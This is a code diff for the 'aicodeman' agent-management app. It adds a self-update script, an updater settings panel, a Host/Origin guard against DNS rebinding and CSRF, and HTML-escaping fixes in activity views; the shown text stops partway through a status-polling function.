View File
@@ -1,12 +1,12 @@
{
"name": "aicodeman",
"version": "0.9.3",
"version": "0.9.7",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"name": "aicodeman",
"version": "0.9.3",
"version": "0.9.7",
"hasInstallScript": true,
"license": "MIT",
"workspaces": [
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "aicodeman",
"version": "0.9.3",
"version": "0.9.7",
"description": "The missing control plane for AI coding agents - run 20 autonomous agents with real-time monitoring and session persistence",
"type": "module",
"main": "dist/index.js",
+210
View File
@@ -0,0 +1,210 @@
#!/usr/bin/env bash
#
# self-update.sh — apply a Codeman release update from inside the running app.
#
# Spawned DETACHED by the web server (POST /api/system/update → src/web/self-update.ts).
# It outlives the service restart it triggers, so it MUST run from a copy OUTSIDE
# the repo (the server stages it at ~/.codeman/self-update-runner.sh) — `git
# checkout` rewrites the in-repo copy and bash reads scripts lazily.
#
# Reports progress by writing ~/.codeman/update-status.json atomically; the
# browser polls GET /api/system/update/status across the restart drop. The
# freshly-booted server reconciles the final "restarting" → "completed"/"failed".
#
# Cross-platform: restarts via systemd (Linux), launchd (macOS), or prints a
# manual command (foreground installs). Linux launches inside a transient
# systemd scope so `systemctl restart codeman-web` can't kill it mid-build.
#
# Args (all from the server, never user input — tag is validated server-side):
# --repo <dir> --tag <codeman@X.Y.Z> --supervisor <systemd|launchd|none>
# --status-file <path> --update-id <uuid> --from-version <ver> --node <path>
# --log <path> [--prev-sha <sha>] [--stash]
#
set -uo pipefail
# puppeteer is a devDependency (scripts/browser-comparison.mjs only) — its chrome
# download is never needed to build or run Codeman, and a corrupt prior download
# (folder present, executable missing) makes `npm install` fail fatally. Skip it
# for every npm install below (initial install + rollback). Caller can override.
export PUPPETEER_SKIP_DOWNLOAD="${PUPPETEER_SKIP_DOWNLOAD:-1}"
REPO=""
TAG=""
SUPERVISOR="none"
STATUS_FILE=""
UPDATE_ID=""
FROM_VERSION=""
NODE="node"
LOG="/dev/null"
PREV_SHA=""
DO_STASH=0
while [[ $# -gt 0 ]]; do
case "$1" in
--repo) REPO="$2"; shift 2 ;;
--tag) TAG="$2"; shift 2 ;;
--supervisor) SUPERVISOR="$2"; shift 2 ;;
--status-file) STATUS_FILE="$2"; shift 2 ;;
--update-id) UPDATE_ID="$2"; shift 2 ;;
--from-version) FROM_VERSION="$2"; shift 2 ;;
--node) NODE="$2"; shift 2 ;;
--log) LOG="$2"; shift 2 ;;
--prev-sha) PREV_SHA="$2"; shift 2 ;;
--stash) DO_STASH=1; shift ;;
*) shift ;;
esac
done
# All output → the log file (the process is detached, no tty).
exec >>"$LOG" 2>&1 || true
echo "[self-update] $(date) start tag=$TAG supervisor=$SUPERVISOR repo=$REPO"
# Make node/npm/git reachable regardless of the (possibly minimal) service env.
export PATH="$(dirname "$NODE"):$HOME/.local/bin:$HOME/.npm-global/bin:/usr/local/bin:/opt/homebrew/bin:$PATH"
export GIT_TERMINAL_PROMPT=0
TO_VERSION="${TAG##*@}" # codeman@0.9.4 → 0.9.4 (tag is validated upstream)
STASH_REF=""
MANUAL_CMD=""
# Write the status file atomically via node (valid JSON, preserves startedAt).
write_status() {
local phase="$1" message="$2" err="${3:-}"
STATUS_FILE="$STATUS_FILE" UPDATE_ID="$UPDATE_ID" PHASE="$phase" MESSAGE="$message" \
FROM_VERSION="$FROM_VERSION" TO_VERSION="$TO_VERSION" TO_TAG="$TAG" PREV_SHA="$PREV_SHA" \
STASH_REF="$STASH_REF" SUPERVISOR="$SUPERVISOR" ERROR="$err" MANUAL_CMD="$MANUAL_CMD" \
"$NODE" -e '
const fs = require("fs");
const f = process.env.STATUS_FILE;
let started = 0;
try { const cur = JSON.parse(fs.readFileSync(f, "utf8")); if (cur && cur.startedAt) started = cur.startedAt; } catch {}
const s = {
updateId: process.env.UPDATE_ID,
phase: process.env.PHASE,
message: process.env.MESSAGE,
fromVersion: process.env.FROM_VERSION,
startedAt: started,
updatedAt: Date.now(),
};
if (process.env.TO_VERSION) s.toVersion = process.env.TO_VERSION;
if (process.env.TO_TAG) s.toTag = process.env.TO_TAG;
if (process.env.PREV_SHA) s.prevSha = process.env.PREV_SHA;
s.stashRef = process.env.STASH_REF || null;
if (process.env.SUPERVISOR) s.supervisor = process.env.SUPERVISOR;
if (process.env.ERROR) s.error = process.env.ERROR;
if (process.env.MANUAL_CMD) s.manualRestartCommand = process.env.MANUAL_CMD;
const tmp = f + ".tmp-" + process.pid;
fs.writeFileSync(tmp, JSON.stringify(s, null, 2));
fs.renameSync(tmp, f);
' || echo "[self-update] WARN: status write failed ($phase)"
}
# Run a slow step with a heartbeat so the status file (and the UI polling it) keeps
# moving instead of looking frozen during npm install / build. Every few seconds it
# refreshes the status with the latest output line, and mirrors full output to the
# log. Returns the wrapped command's exit code.
run_step() {
local phase="$1" base="$2"; shift 2
local step_log; step_log="$(mktemp "${TMPDIR:-/tmp}/codeman-update.XXXXXX" 2>/dev/null || echo "/tmp/codeman-update.$$")"
write_status "$phase" "$base…"
echo "[self-update] $phase: $* (output below)"
"$@" >"$step_log" 2>&1 &
local pid=$! start=$SECONDS last_line=""
while kill -0 "$pid" 2>/dev/null; do
sleep 3
local line
line="$(tr -d '\r' <"$step_log" 2>/dev/null | grep -aE '[^[:space:]]' | tail -n 1 | cut -c1-100)"
[[ -n "$line" && "$line" != "$last_line" ]] && last_line="$line"
if [[ -n "$last_line" ]]; then
write_status "$phase" "$base… · $last_line"
else
write_status "$phase" "$base… (working)"
fi
done
wait "$pid"; local rc=$?
echo "[self-update] $phase finished in $((SECONDS - start))s (rc=$rc)"
cat "$step_log" >>"$LOG" 2>/dev/null || true
rm -f "$step_log" 2>/dev/null || true
return $rc
}
fail() {
local msg="$1" err="${2:-}"
echo "[self-update] FAILED: $msg ($err)"
write_status "failed" "$msg" "$err"
exit 1
}
# Restore the previous commit + working build so the still-running server keeps
# serving good code. We do NOT restart on failure.
rollback_and_fail() {
local msg="$1"
echo "[self-update] $msg — rolling back to ${PREV_SHA:-<none>}"
if [[ -n "$PREV_SHA" ]]; then
git checkout --force "$PREV_SHA" >/dev/null 2>&1 || true
npm install --no-fund --no-audit >/dev/null 2>&1 || true
npm run build >/dev/null 2>&1 || true
fi
fail "$msg — rolled back to the previous version" "$msg"
}
cd "$REPO" || fail "Install directory not found" "cd $REPO"
git rev-parse --git-dir >/dev/null 2>&1 || fail "Not a git repository" "$REPO"
write_status "preparing" "Preparing update to v$TO_VERSION…"
# 1) Stash local changes (left for the user to pop — never auto-popped).
if [[ "$DO_STASH" == "1" ]]; then
write_status "stashing" "Stashing local changes…"
STASH_MSG="codeman-pre-update-$UPDATE_ID"
if git stash push -u -m "$STASH_MSG" >/dev/null 2>&1; then
STASH_REF="$STASH_MSG"
echo "[self-update] stashed local changes as $STASH_MSG"
fi
fi
# 2) Fetch the target tag.
write_status "fetching" "Fetching $TAG…"
git fetch --tags --force origin "refs/tags/$TAG:refs/tags/$TAG" 2>/dev/null \
|| git fetch --tags --force origin \
|| fail "Could not fetch the release" "git fetch $TAG"
# 3) Check out the release tag (detached HEAD at the release).
write_status "checkout" "Checking out $TAG…"
git -c advice.detachedHead=false checkout --force "$TAG" || rollback_and_fail "Could not check out $TAG"
# 4) Install dependencies (heartbeat keeps the UI live during this slow step).
run_step "installing" "Installing dependencies" npm install --no-fund --no-audit \
|| rollback_and_fail "Dependency install failed"
# 5) Build (gate the restart on success — never restart into a torn dist/).
run_step "building" "Building" npm run build || rollback_and_fail "Build failed"
# 6) Restart the service so the new code loads. Write the terminal pre-restart
# marker FIRST so the freshly-booted server can reconcile it deterministically.
write_status "restarting" "Restarting Codeman…"
echo "[self-update] build OK, restarting via $SUPERVISOR"
case "$SUPERVISOR" in
systemd)
systemctl --user restart codeman-web.service \
|| fail "Build succeeded but restart failed — run: systemctl --user restart codeman-web" "systemctl restart"
;;
launchd)
launchctl kickstart -k "gui/$(id -u)/com.codeman.web" 2>/dev/null || {
PLIST="$HOME/Library/LaunchAgents/com.codeman.web.plist"
launchctl unload "$PLIST" 2>/dev/null || true
launchctl load "$PLIST" 2>/dev/null \
|| fail "Build succeeded but launchd restart failed" "launchctl"
}
;;
*)
MANUAL_CMD="pkill -f 'codeman.*web'; codeman web &"
write_status "completed-needs-manual-restart" "Update staged — restart Codeman to apply v$TO_VERSION."
echo "[self-update] no supervisor — manual restart required"
exit 0
;;
esac
echo "[self-update] restart issued; done"
exit 0
+1
View File
@@ -66,3 +66,4 @@ export * from './teams.js';
export * from './push.js';
export * from './plan.js';
export * from './orchestrator.js';
export * from './update.js';
+96
View File
@@ -0,0 +1,96 @@
/**
* @fileoverview Types for the in-app self-updater.
*
* Codeman can update itself from the web UI (App Settings → Updates). The flow
* is driven by a detached `scripts/self-update.sh` that outlives the service
* restart it triggers, and a status file at `~/.codeman/update-status.json`
* (see `dataPath('update-status.json')`) that the browser polls across the
* restart boundary.
*
* Backend logic: `src/web/self-update.ts`. Routes: `src/web/routes/system-routes.ts`
* (`/api/system/update/check`, `POST /api/system/update`, `/api/system/update/status`).
*
* @module types/update
*/
/** Which init system supervises the running server (decides how we restart it). */
export type SupervisorKind = 'systemd' | 'launchd' | 'none';
/** How Codeman was installed — only `git` installs can self-update in place. */
export type InstallKind = 'git' | 'npm' | 'unknown';
/**
* Lifecycle of a single update run. `idle`/`completed`/`failed`/
* `completed-needs-manual-restart` are terminal; the rest are in-flight.
*/
export type UpdatePhase =
| 'idle'
| 'queued'
| 'preparing'
| 'stashing'
| 'fetching'
| 'checkout'
| 'installing'
| 'building'
| 'restarting'
| 'completed'
| 'completed-needs-manual-restart'
| 'failed';
/** Persisted update progress, written atomically by the updater + boot reconcile. */
export interface UpdateStatus {
/** Nonce identifying this run; guards boot-reconcile against stale/foreign status. */
updateId: string;
phase: UpdatePhase;
/** Human-readable one-liner for the UI. */
message: string;
/** Version the server was on when the update started. */
fromVersion: string;
/** Target version (parsed from the release tag). */
toVersion?: string;
/** Target git tag, e.g. `codeman@0.9.4`. */
toTag?: string;
/** Commit the repo was on before the update, for rollback. */
prevSha?: string;
/** Name of the stash holding local changes (when the tree was dirty), else null. */
stashRef?: string | null;
supervisor?: SupervisorKind;
/** epoch ms — update start (freshness guard for boot reconcile). */
startedAt: number;
/** epoch ms — last write. */
updatedAt: number;
/** Populated on failure. */
error?: string;
/** Shown for the `none` supervisor — the command the user must run by hand. */
manualRestartCommand?: string;
}
/** Describes the running install — drives whether/how the Updates UI is shown. */
export interface InstallInfo {
installKind: InstallKind;
installDir: string;
/** Current git branch, or `HEAD` when detached (e.g. pinned to a release tag). */
branch?: string;
/** Uncommitted local changes present (true → updater will auto-stash). */
dirty: boolean;
supervisor: SupervisorKind;
currentVersion: string;
/** False when `CODEMAN_DISABLE_SELF_UPDATE=1`. */
selfUpdateEnabled: boolean;
}
/** Result of "check for updates" — current vs. latest release. */
export interface UpdateCheckResult {
currentVersion: string;
latestVersion: string | null;
latestTag: string | null;
updateAvailable: boolean;
/** Release notes (markdown) when available from the GitHub API. */
notes?: string | null;
/** Link to the release page. */
htmlUrl?: string | null;
/** epoch ms of the check. */
checkedAt: number;
source: 'github-api' | 'git-ls-remote' | 'none';
error?: string;
}
+35
View File
@@ -12,6 +12,7 @@ import type { FastifyInstance, FastifyReply } from 'fastify';
import { randomBytes, timingSafeEqual } from 'node:crypto';
import { StaleExpirationMap } from '../../utils/index.js';
import type { AuthSessionRecord } from '../ports/auth-port.js';
import { isAllowedRequestHost, isAllowedRequestOrigin, type HostPolicy } from '../network-auth-policy.js';
import {
AUTH_SESSION_TTL_MS,
MAX_AUTH_SESSIONS,
@@ -157,6 +158,40 @@ export function registerAuthMiddleware(app: FastifyInstance, https: boolean): Au
return state;
}
/** Methods that don't change server state and so skip the cross-site Origin check. */
const SAFE_HTTP_METHODS = new Set(['GET', 'HEAD', 'OPTIONS']);
/**
* Register the anti-DNS-rebinding Host allowlist + cross-site (CSRF) Origin guard.
*
* This protects the API even on the default no-password install, where there is no
* cookie/credential to gate on. It must be registered BEFORE the auth middleware so
* forged cross-site or DNS-rebound requests are rejected up front. `getPolicy` is
* evaluated per request so a tunnel started at runtime is reflected immediately.
*
* - Every request: the `Host` header must be in the allowlist (blocks DNS rebinding,
* where a custom domain is rebound to 127.0.0.1 but still sends its own name).
* - State-changing methods: the `Origin` (when the client sends one — i.e. a browser)
* must be same-site (blocks cross-site CSRF, including the text/plain simple-request
* trick). Non-browser clients (curl, Claude Code hooks) omit Origin and pass.
*
* WebSocket upgrades are validated separately in the ws route handler.
*/
export function registerHostGuard(app: FastifyInstance, getPolicy: () => HostPolicy): void {
app.addHook('onRequest', (req, reply, done) => {
const policy = getPolicy();
if (!isAllowedRequestHost(req.headers.host, policy)) {
reply.code(403).send('Forbidden: host not allowed');
return;
}
if (!SAFE_HTTP_METHODS.has(req.method) && !isAllowedRequestOrigin(req.headers.origin, policy)) {
reply.code(403).send('Forbidden: cross-site request blocked');
return;
}
done();
});
}
/**
* Register security headers and CORS middleware on every response.
*/
+109
View File
@@ -19,3 +19,112 @@ export function isLoopbackBindHost(host: string): boolean {
}
return normalized.startsWith('::ffff:127.');
}
/**
* Hostname suffixes that are always accepted by the Host/Origin allowlist. These
* are namespaces an external attacker cannot register DNS-rebinding records under
* (tailscale MagicDNS, Cloudflare quick/named tunnels), so accepting them keeps
* the project's documented tunnel access paths working without reopening the
* rebinding hole. Extend per-deployment via CODEMAN_ALLOWED_HOSTS.
*/
export const DEFAULT_TRUSTED_HOST_SUFFIXES = ['.ts.net', '.trycloudflare.com', '.cfargotunnel.com'];
/** Policy inputs for the anti-DNS-rebinding Host allowlist + cross-site Origin guard. */
export interface HostPolicy {
/** The host the server is bound to (e.g. '127.0.0.1', '0.0.0.0', or a hostname). */
bindHost: string;
/** Extra allowed hosts: exact lowercased names, or a leading-dot '.suffix' for suffix matches. */
allowedHosts: string[];
/** Hostname of the currently-active Codeman-managed tunnel, if any. */
tunnelHost?: string | null;
}
/**
* Extract the lowercased hostname from a Host/authority value, stripping the port
* and IPv6 brackets. Returns null for empty/garbage input.
*/
export function parseAuthorityHostname(authority: string | undefined): string | null {
if (!authority) return null;
let h = authority.trim();
if (!h) return null;
if (h.startsWith('[')) {
// [::1] or [::1]:3000
const end = h.indexOf(']');
if (end === -1) return null;
return h.slice(1, end).toLowerCase() || null;
}
// host:port — only treat a single trailing colon as a port separator so a
// bracketless IPv6 literal (multiple colons) is left intact.
const first = h.indexOf(':');
if (first !== -1 && first === h.lastIndexOf(':')) {
h = h.slice(0, first);
}
return h.toLowerCase() || null;
}
/** Build a HostPolicy from the bind host, CODEMAN_ALLOWED_HOSTS, and an active tunnel URL. */
export function buildHostPolicy(bindHost: string, tunnelUrl?: string | null): HostPolicy {
const allowedHosts = (process.env.CODEMAN_ALLOWED_HOSTS || '')
.split(',')
.map((s) => s.trim().toLowerCase())
.filter(Boolean);
let tunnelHost: string | null = null;
if (tunnelUrl) {
try {
tunnelHost = new URL(tunnelUrl).hostname.toLowerCase();
} catch {
tunnelHost = null;
}
}
return { bindHost, allowedHosts, tunnelHost };
}
function matchesHost(hostname: string, policy: HostPolicy): boolean {
// localhost is reserved (always resolves to loopback, not rebindable).
if (hostname === 'localhost') return true;
// Any IP literal: a literal address cannot be the target of DNS rebinding — the
// browser connected straight to it, there is no name to re-point.
if (isIP(hostname) !== 0) return true;
const bind = parseAuthorityHostname(policy.bindHost);
if (bind && hostname === bind) return true;
if (policy.tunnelHost && hostname === policy.tunnelHost) return true;
for (const suffix of DEFAULT_TRUSTED_HOST_SUFFIXES) {
if (hostname === suffix.slice(1) || hostname.endsWith(suffix)) return true;
}
for (const entry of policy.allowedHosts) {
if (entry.startsWith('.')) {
if (hostname === entry.slice(1) || hostname.endsWith(entry)) return true;
} else if (hostname === entry) {
return true;
}
}
return false;
}
/**
* True if a request's Host header is allowed. Blocks DNS-rebinding: a custom
* domain rebound to a loopback/LAN address still carries its own name in Host,
* which will not be in the allowlist.
*/
export function isAllowedRequestHost(hostHeader: string | undefined, policy: HostPolicy): boolean {
const hostname = parseAuthorityHostname(hostHeader);
if (!hostname) return false;
return matchesHost(hostname, policy);
}
/**
* True if a request's Origin is allowed for a state-changing / WebSocket request.
* A MISSING Origin is allowed: non-browser clients (curl, Claude Code hooks) omit
* it, while browsers always attach it on cross-origin state-changing/WS requests —
* so a forged cross-site request is caught while local automation keeps working.
* The opaque origin 'null' (sandboxed iframe, data: URL) is rejected.
*/
export function isAllowedRequestOrigin(originHeader: string | undefined, policy: HostPolicy): boolean {
if (originHeader === undefined || originHeader === '') return true;
if (originHeader === 'null') return false;
try {
return matchesHost(new URL(originHeader).hostname.toLowerCase(), policy);
} catch {
return false;
}
}
+39 -3
View File
@@ -10,7 +10,7 @@
* @globals {function} scheduleBackground - scheduler.postTask wrapper (background priority)
* @globals {function} getEventCoords - Unified mouse/touch coordinate extractor
* @globals {function} escapeHtml - XSS-safe HTML escaping
* @globals {object} SSE_EVENTS - Centralized SSE event type constants (~73 event types)
* @globals {object} SSE_EVENTS - Centralized SSE event type constants (120 event types; must match backend src/web/sse-events.ts)
* @globals {Array} BUILTIN_RESPAWN_PRESETS - Built-in respawn configuration presets
*
* @dependency None (first in load order)
@@ -241,27 +241,45 @@ const SSE_EVENTS = {
SESSION_IDLE: 'session:idle',
SESSION_WORKING: 'session:working',
SESSION_AUTO_CLEAR: 'session:autoClear',
SESSION_AUTO_COMPACT: 'session:autoCompact',
SESSION_CLI_INFO: 'session:cliInfo',
SESSION_MESSAGE: 'session:message',
SESSION_INTERACTIVE: 'session:interactive',
SESSION_RUNNING: 'session:running',
// Scheduled runs
SCHEDULED_CREATED: 'scheduled:created',
SCHEDULED_UPDATED: 'scheduled:updated',
SCHEDULED_COMPLETED: 'scheduled:completed',
SCHEDULED_STOPPED: 'scheduled:stopped',
SCHEDULED_LOG: 'scheduled:log',
SCHEDULED_DELETED: 'scheduled:deleted',
// Respawn
RESPAWN_STARTED: 'respawn:started',
RESPAWN_STOPPED: 'respawn:stopped',
RESPAWN_STATE_CHANGED: 'respawn:stateChanged',
RESPAWN_CYCLE_STARTED: 'respawn:cycleStarted',
RESPAWN_CYCLE_COMPLETED: 'respawn:cycleCompleted',
RESPAWN_BLOCKED: 'respawn:blocked',
RESPAWN_AUTO_ACCEPT_SENT: 'respawn:autoAcceptSent',
RESPAWN_STEP_SENT: 'respawn:stepSent',
RESPAWN_STEP_COMPLETED: 'respawn:stepCompleted',
RESPAWN_DETECTION_UPDATE: 'respawn:detectionUpdate',
RESPAWN_AUTO_ACCEPT_SENT: 'respawn:autoAcceptSent',
RESPAWN_AI_CHECK_STARTED: 'respawn:aiCheckStarted',
RESPAWN_AI_CHECK_COMPLETED: 'respawn:aiCheckCompleted',
RESPAWN_AI_CHECK_FAILED: 'respawn:aiCheckFailed',
RESPAWN_AI_CHECK_COOLDOWN: 'respawn:aiCheckCooldown',
RESPAWN_PLAN_CHECK_STARTED: 'respawn:planCheckStarted',
RESPAWN_PLAN_CHECK_COMPLETED: 'respawn:planCheckCompleted',
RESPAWN_PLAN_CHECK_FAILED: 'respawn:planCheckFailed',
RESPAWN_TIMER_STARTED: 'respawn:timerStarted',
RESPAWN_TIMER_CANCELLED: 'respawn:timerCancelled',
RESPAWN_TIMER_COMPLETED: 'respawn:timerCompleted',
RESPAWN_ERROR: 'respawn:error',
RESPAWN_ACTION_LOG: 'respawn:actionLog',
RESPAWN_LOG: 'respawn:log',
RESPAWN_ERROR: 'respawn:error',
RESPAWN_CONFIG_UPDATED: 'respawn:configUpdated',
// Tasks
TASK_CREATED: 'task:created',
@@ -288,6 +306,12 @@ const SSE_EVENTS = {
SESSION_BASH_TOOL_END: 'session:bashToolEnd',
SESSION_BASH_TOOLS_UPDATE: 'session:bashToolsUpdate',
// Session: Plan
SESSION_PLAN_TASK_UPDATE: 'session:planTaskUpdate',
SESSION_PLAN_CHECKPOINT: 'session:planCheckpoint',
SESSION_PLAN_ROLLBACK: 'session:planRollback',
SESSION_PLAN_TASK_ADDED: 'session:planTaskAdded',
// Hooks (Claude Code hook events)
HOOK_IDLE_PROMPT: 'hook:idle_prompt',
HOOK_PERMISSION_PROMPT: 'hook:permission_prompt',
@@ -338,6 +362,18 @@ const SSE_EVENTS = {
ORCHESTRATOR_COMPLETED: 'orchestrator:completed',
ORCHESTRATOR_ERROR: 'orchestrator:error',
// Teams (agent teams)
TEAM_CREATED: 'team:created',
TEAM_UPDATED: 'team:updated',
TEAM_REMOVED: 'team:removed',
TEAM_TASK_UPDATED: 'team:taskUpdated',
// Transcript
TRANSCRIPT_COMPLETE: 'transcript:complete',
TRANSCRIPT_PLAN_MODE: 'transcript:plan_mode',
TRANSCRIPT_TOOL_START: 'transcript:tool_start',
TRANSCRIPT_TOOL_END: 'transcript:tool_end',
// Clipboard
CLIPBOARD_WRITE: 'clipboard:write',
+18
View File
@@ -1078,6 +1078,24 @@
<span id="tunnelUploadUrlDisplay" class="settings-item-value" style="cursor:pointer; text-decoration:underline; font-family:monospace; font-size:12px" title="Click to copy"></span>
</div>
<!-- Updates Section -->
<div class="settings-section-header">Updates</div>
<div class="settings-item" title="Codeman version currently running">
<span class="settings-item-label">Current Version</span>
<span class="settings-item-value" id="updateCurrentVersion" style="font-family:monospace">&mdash;</span>
</div>
<div class="settings-item" id="updateCheckRow" title="Check GitHub for a newer Codeman release">
<span class="settings-item-label">Check for Updates</span>
<button class="btn-toolbar btn-sm" id="updateCheckBtn" onclick="app.checkForUpdate()">Check now</button>
</div>
<div id="updateResult" style="display:none; padding:4px 2px 8px; font-size:13px; color:var(--text-secondary)"></div>
<div class="settings-item" id="updateActionRow" style="display:none">
<span class="settings-item-label" id="updateActionLabel">Update available</span>
<button class="btn-toolbar btn-sm btn-primary" id="updateNowBtn" onclick="app.startSelfUpdate()">Update now</button>
</div>
<div id="updateNotes" style="display:none; max-height:160px; overflow:auto; padding:8px 10px; margin:4px 0 8px; font-size:12px; line-height:1.45; white-space:pre-wrap; word-break:break-word; background:rgba(127,127,127,0.08); border:1px solid var(--border); border-radius:6px"></div>
<div id="updateProgress" style="display:none; padding:8px 10px; margin:4px 0 8px; font-size:13px; border:1px solid var(--border); border-radius:6px"></div>
</div>
</div>
<!-- Tab-Switch Tab -->
+8 -8
View File
@@ -802,13 +802,13 @@ Object.assign(CodemanApp.prototype, {
const time = new Date(a.timestamp).toLocaleTimeString('en-US', { hour12: false });
if (a.type === 'tool') {
const toolDetail = this.getToolDetailExpanded(a.tool, a.input, a.fullInput, a.toolUseId);
return `<div class="subagent-activity tool" data-tool-use-id="${a.toolUseId || ''}">
return `<div class="subagent-activity tool" data-tool-use-id="${escapeHtml(a.toolUseId || '')}">
<span class="time">${time}</span>
<span class="icon">${this.getToolIcon(a.tool)}</span>
<span class="name">${a.tool}</span>
<span class="detail">${toolDetail.primary}</span>
<span class="name">${escapeHtml(a.tool)}</span>
<span class="detail">${escapeHtml(toolDetail.primary)}</span>
${toolDetail.hasMore ? `<button class="tool-expand-btn" onclick="app.toggleToolParams('${escapeHtml(a.toolUseId)}')">▶</button>` : ''}
${toolDetail.hasMore ? `<div class="tool-params-expanded" id="tool-params-${a.toolUseId}" style="display:none;"><pre>${escapeHtml(JSON.stringify(a.fullInput || a.input, null, 2))}</pre></div>` : ''}
${toolDetail.hasMore ? `<div class="tool-params-expanded" id="tool-params-${escapeHtml(a.toolUseId)}" style="display:none;"><pre>${escapeHtml(JSON.stringify(a.fullInput || a.input, null, 2))}</pre></div>` : ''}
</div>`;
} else if (a.type === 'tool_result') {
const icon = a.isError ? '❌' : '📄';
@@ -818,7 +818,7 @@ Object.assign(CodemanApp.prototype, {
return `<div class="subagent-activity tool-result ${statusClass}">
<span class="time">${time}</span>
<span class="icon">${icon}</span>
<span class="name">${a.tool || 'result'}</span>
<span class="name">${escapeHtml(a.tool || 'result')}</span>
<span class="detail">${escapeHtml(preview)}${sizeInfo}</span>
</div>`;
} else if (a.type === 'progress') {
@@ -830,7 +830,7 @@ Object.assign(CodemanApp.prototype, {
return `<div class="subagent-activity progress${hookClass}">
<span class="time">${time}</span>
<span class="icon">${icon}</span>
<span class="detail">${displayText}</span>
<span class="detail">${escapeHtml(displayText)}</span>
</div>`;
} else if (a.type === 'message') {
const preview = a.text.length > 100 ? a.text.substring(0, 100) + '...' : a.text;
@@ -1400,7 +1400,7 @@ Object.assign(CodemanApp.prototype, {
return `<div class="activity-line">
<span class="time">${time}</span>
<span class="tool-icon">${this.getToolIcon(a.tool)}</span>
<span class="tool-name">${a.tool}</span>
<span class="tool-name">${escapeHtml(a.tool)}</span>
<span class="tool-detail">${escapeHtml(this.getToolDetail(a.tool, a.input))}</span>
</div>`;
} else if (a.type === 'tool_result') {
@@ -1411,7 +1411,7 @@ Object.assign(CodemanApp.prototype, {
return `<div class="activity-line result-line${statusClass}">
<span class="time">${time}</span>
<span class="tool-icon">${icon}</span>
<span class="tool-name">${a.tool || '→'}</span>
<span class="tool-name">${escapeHtml(a.tool || '→')}</span>
<span class="tool-detail">${escapeHtml(preview)}${sizeInfo}</span>
</div>`;
} else if (a.type === 'progress') {
+184
View File
@@ -430,6 +430,9 @@ Object.assign(CodemanApp.prototype, {
providerEl.textContent = providerName;
providerEl.className = 'voice-provider-status' + (providerName.startsWith('Deepgram') ? ' active' : '');
// Updates section — show current version, reset transient result/progress UI.
this._initUpdatesSection();
// Reset to first tab and wire up tab switching
this.switchSettingsTab('settings-display');
const modal = document.getElementById('appSettingsModal');
@@ -465,6 +468,187 @@ Object.assign(CodemanApp.prototype, {
}
},
// ───────────────────────────────────────────────────────────────
// Self-Update (App Settings → Updates). Backend: src/web/self-update.ts.
// ───────────────────────────────────────────────────────────────
/** Friendly label for an in-flight update phase. */
_updatePhaseText(phase) {
return {
queued: 'Queued…',
preparing: 'Preparing…',
stashing: 'Stashing local changes…',
fetching: 'Fetching release…',
checkout: 'Checking out release…',
installing: 'Installing dependencies…',
building: 'Building…',
restarting: 'Restarting Codeman…',
}[phase] || phase;
},
/** Populate the version row and clear transient UI when the modal opens. */
_initUpdatesSection() {
const verEl = this.$('updateCurrentVersion');
if (verEl) verEl.textContent = (this.$('versionDisplay')?.textContent || '').trim() || '—';
for (const id of ['updateResult', 'updateActionRow', 'updateNotes', 'updateProgress']) {
const el = this.$(id);
if (el) el.style.display = 'none';
}
this._updateCheck = null;
},
_setUpdateResult(html) {
const el = this.$('updateResult');
if (el) { el.style.display = 'block'; el.innerHTML = html; }
},
_setUpdateProgress(html) {
const el = this.$('updateProgress');
if (el) { el.style.display = 'block'; el.innerHTML = html; }
},
/** Manual "Check for updates" — asks the server to query GitHub. */
async checkForUpdate() {
const btn = this.$('updateCheckBtn');
if (btn) { btn.disabled = true; btn.textContent = 'Checking…'; }
const data = await this._apiJson('/api/system/update/check');
if (btn) { btn.disabled = false; btn.textContent = 'Check now'; }
const actionRow = this.$('updateActionRow');
const notes = this.$('updateNotes');
if (actionRow) actionRow.style.display = 'none';
if (notes) notes.style.display = 'none';
if (!data) {
this._setUpdateResult('Could not check for updates. Try again later.');
return;
}
this._updateCheck = data;
const verEl = this.$('updateCurrentVersion');
if (verEl && data.currentVersion) verEl.textContent = `v${data.currentVersion}`;
if (data.installKind && data.installKind !== 'git') {
this._setUpdateResult(
`This install can't update itself (${escapeHtml(data.installKind)}). Update with <code>npm i -g aicodeman@latest</code>.`
);
return;
}
if (data.selfUpdateEnabled === false) {
this._setUpdateResult('In-app updates are disabled on this server (CODEMAN_DISABLE_SELF_UPDATE=1).');
return;
}
if (data.error && !data.updateAvailable) {
this._setUpdateResult(escapeHtml(data.error));
return;
}
if (data.updateAvailable && data.latestVersion) {
this._setUpdateResult(
`Update available: <strong>v${escapeHtml(data.latestVersion)}</strong> &nbsp;(current v${escapeHtml(data.currentVersion || '')})`
);
const label = this.$('updateActionLabel');
if (label) label.textContent = `Update to v${data.latestVersion}`;
if (actionRow) actionRow.style.display = 'flex';
const nowBtn = this.$('updateNowBtn');
if (nowBtn) { nowBtn.disabled = false; nowBtn.textContent = 'Update now'; }
if (notes && data.notes) {
notes.style.display = 'block';
notes.textContent = data.notes;
}
} else {
this._setUpdateResult(`You're up to date (v${escapeHtml(data.currentVersion || '')}).`);
}
},
/** Start the update, then poll status across the service restart. */
async startSelfUpdate() {
const target = this._updateCheck?.latestVersion ? `v${this._updateCheck.latestVersion}` : 'the latest release';
if (!confirm(`Update Codeman to ${target}? The server will restart and this page will reload.`)) return;
const btn = this.$('updateNowBtn');
if (btn) { btn.disabled = true; btn.textContent = 'Starting…'; }
const res = await this._apiPost('/api/system/update', {});
if (!res || !res.ok) {
let msg = 'Failed to start the update.';
try { const j = await res.json(); if (j?.error?.message) msg = j.error.message; } catch {}
this._setUpdateProgress(`<span style="color:var(--danger,#e5534b)">${escapeHtml(msg)}</span>`);
if (btn) { btn.disabled = false; btn.textContent = 'Update now'; }
return;
}
const actionRow = this.$('updateActionRow');
if (actionRow) actionRow.style.display = 'none';
const notes = this.$('updateNotes');
if (notes) notes.style.display = 'none';
this._setUpdateProgress('Starting update…');
this._pollUpdateStatus();
},
_stopUpdatePolling() {
if (this._updatePollTimer) { clearInterval(this._updatePollTimer); this._updatePollTimer = null; }
},
/**
* Poll the status file every 1.5s. Survives the connection drop while the
* server restarts (fetch throws → "restarting"), then reads the reconciled
* terminal state from the freshly-booted server.
*/
_pollUpdateStatus() {
this._stopUpdatePolling();
const terminal = new Set(['completed', 'completed-needs-manual-restart', 'failed', 'idle']);
const poll = async () => {
let data = null;
try {
const res = await fetch('/api/system/update/status');
if (res.ok) data = await res.json();
} catch { /* server restarting — keep polling */ }
if (!data) {
